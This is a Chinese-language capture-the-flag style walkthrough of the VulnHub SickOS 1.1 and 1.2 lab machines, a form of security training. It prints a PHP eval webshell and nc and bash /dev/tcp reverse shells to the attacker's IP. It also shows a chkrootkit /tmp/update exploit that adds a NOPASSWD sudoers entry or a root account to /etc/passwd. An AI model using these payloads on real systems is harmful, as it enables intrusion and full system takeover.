SickOS系列SickOS1.1靶机下载链接见：https://download.vulnhub.com/sickos/sick0s1.1.7z靶机渗透，主机发现arp-scan -l端口扫描，80端口是没有开启的，3128端口有一个http服务访问查看，这个服务呢是一个http代理，版本是3.1.19，8080端口也是一个http代理，但是已经关闭了既然是代理服务，那么我们进行目录扫描的时候，需要添加上这个代理ip+端口，不然扫不到80端口（80端口没有开启的）我们使用靶机的代理，这样就能扫描出来了，但是没有扫到后台管理的地址呢并没有该系统的后台管理地址浏览器添加代理访问成功，可以进一步信息收集了robots文件这个文件不知道是什么，先放着这就是wolfcms内容了漏洞检索一个一个看，直到第三个漏洞描述访问，原来是多了一个问号啊弱口令admin/admin（也可以进行爆破，毕竟没有验证码）上传一句话木马添加代理保存后即可连接成功反弹shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.209.130 6666 >/tmp/f创建交互式终端python -c 'import pty; pty.spawn("/bin/bash")'得到mysql数据库账号密码root / john@123登录进去，用户表只有一个用户admin继续信息收集，回家，历史命令，SUID文件计划任务ls -al /etc/cron*这些工具基本上都没啥用，这里需要用上之前的数据库密码，来登录这个home下面的用户sickos有了密码那么就直接sudo，可以看到是所有的东西都可以执行sudo，那么就简单了直接 sudo -s 保存用户变量，切换超级用户root，也可使用sudo -i使用root的环境变量SickOS1.2靶机下载链接见：https://www.vulnhub.com/entry/sickos-12,144/端口扫描，目标服务器开启了22端口和80端口访问80端口第一时间查看源码，在最下面 目录扫描有一个指纹信息漏洞检索，并没有相关版本的漏洞将网页上的图片下载下来使用strings进行分析网上搜到一种方法Nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.209.133该命令使用Nmap的http-methods脚本检测IP为192.168.209.133的主机上Web服务的/test路径支持的HTTP方法。利用这个PUT方法，可以上传文件至目标服务器，HTTP的请求方式常见的就是GET、POST、DELETE、PUT其中PUT方法，向服务器上传一个资源，用于创建或完全替换目标资源的内容。如果资源不存在，则创建该资源；如果资源已存在，则进行更新。DELETE：请求服务器删除由URL所标识的资源。那么我们尝试上传一个php文件，响应结果为创建成功<?php @eval($_POST[hack]);?>这时候回到页面，就会发现一个新的php文件蚁剑i连接这里反弹shell试了好多种方式，都不行，看样子是对端口进行了限制，先信息收集吧，用户信息系统信息收集uname -a lsb_release -a查找某一个用户的文件find / -user john -type f 2>/dev/null这里需要一个脚本，检查端口得开启情况（不是已使用的服务），默认使用iptables，但是没有权限这里需要用上一个脚本来检查端口的开放情况，脚本内容如下# !/bin/bash for i in $(seq 1 65535) do timeout 1 nc -vz 192.168.209.130 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt; done echo "all port done"放到kali中，并开启http服务，并将所有端口的流量都转发到34444端口python -m http.server 5000 //备份iptables规则 iptables-save > /tmp/firewall.rules //将所有端口的流量都转发到34444端口 iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444 //监听34444端口 nc -lvp 34444尝试从kali上下载这个文件，下载失败切换tmp进行下载还是失败那么就麻烦一点，传到本机上，再传到靶机这样就能上传成功了执行脚本会生成一个txt文件这里需要多执行几次，否则都是关闭的状态，检测不到结果kali回显了，说明443端口是放行的用bash反弹shell（如果反弹不成功，需要清除 iptables 的所有规则）bash -c 'bash -i >& /dev/tcp/192.168.209.130/443 0>&1'创建一个交互式终端python -c 'import pty; pty.spawn("/bin/bash")'信息收集，我是谁？我在哪？你是谁？漏洞检索，没有任何的漏洞信息，3.11.0不在这里面的库中查看有没有gcc编译命令这里利用cve-2021-4034提权poc打，注意kali开启的端口要是443提权失败，找其他信息（前面我们已经搜索了一些信息了，这里直接打）这里是要用到一个命令ls -al /etc/cron*这个命令就是说查看所有和计划任务有关的所有内容，发现了一个计划任务，chkrootkit命令其中/etc/crontab：这是系统的crontab文件，用于定义系统级别的定时任务。/etc/cron.d：该目录用于存放系统级别的定时任务配置文件。/etc/cron.daily ：这些脚本用于执行每天需要进行的系统维护任务，如更新软件包列表、清理日志文件、更新数据库等。/etc/cron.hourly ：这些脚本用于执行每小时需要进行的系统维护任务，如清理临时文件、更新缓存等。/etc/cron.monthly ： 这些脚本用于执行每月需要进行的系统维护任务，如备份、报告生成等。/etc/cron.weekly ：包含多个脚本文件，这些脚本每周执行一次。找到漏洞We just found a serious vulnerability in the chkrootkit package, which may allow local attackers to gain root access to a box in certain configurations (/tmp not mounted noexec). # 我们刚刚在chkrootkit包中发现了一个严重的漏洞，它可能允许本地攻击者在某些配置（/tmp而不是挂载noexec）下获得root访问权限。查看利用步骤大致意思就是说让我们在tmp目录下面创建一个文件叫做 update ，这个update文件呢包含了一些恶意脚本，当我们运行chkrootkit这个工具的时候，这些恶意脚本也会跟着执行，并且是以root身份执行的（它是计划任务，会定时执行）这里可以利用sudo提权,，将当前用户赋予sudo权限echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update chmod +x /tmp/update也可以向 /etc/passwd 追加一个用户，密码为 password@123 （使用openssl将这个密码加盐，不加也可以，得到结果advwtv/9yU5yQ，所以完整的命令如下）echo 'echo "xiaoyu:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd' >/tmp/update再者利用nc反弹shell（有思路就可以，这里没有成功）echo '/bin/bash -i >& /dev/tcp/192.168.209.130/443 0>&1' > /tmp/update如果有错误还请师傅们指正往期推荐111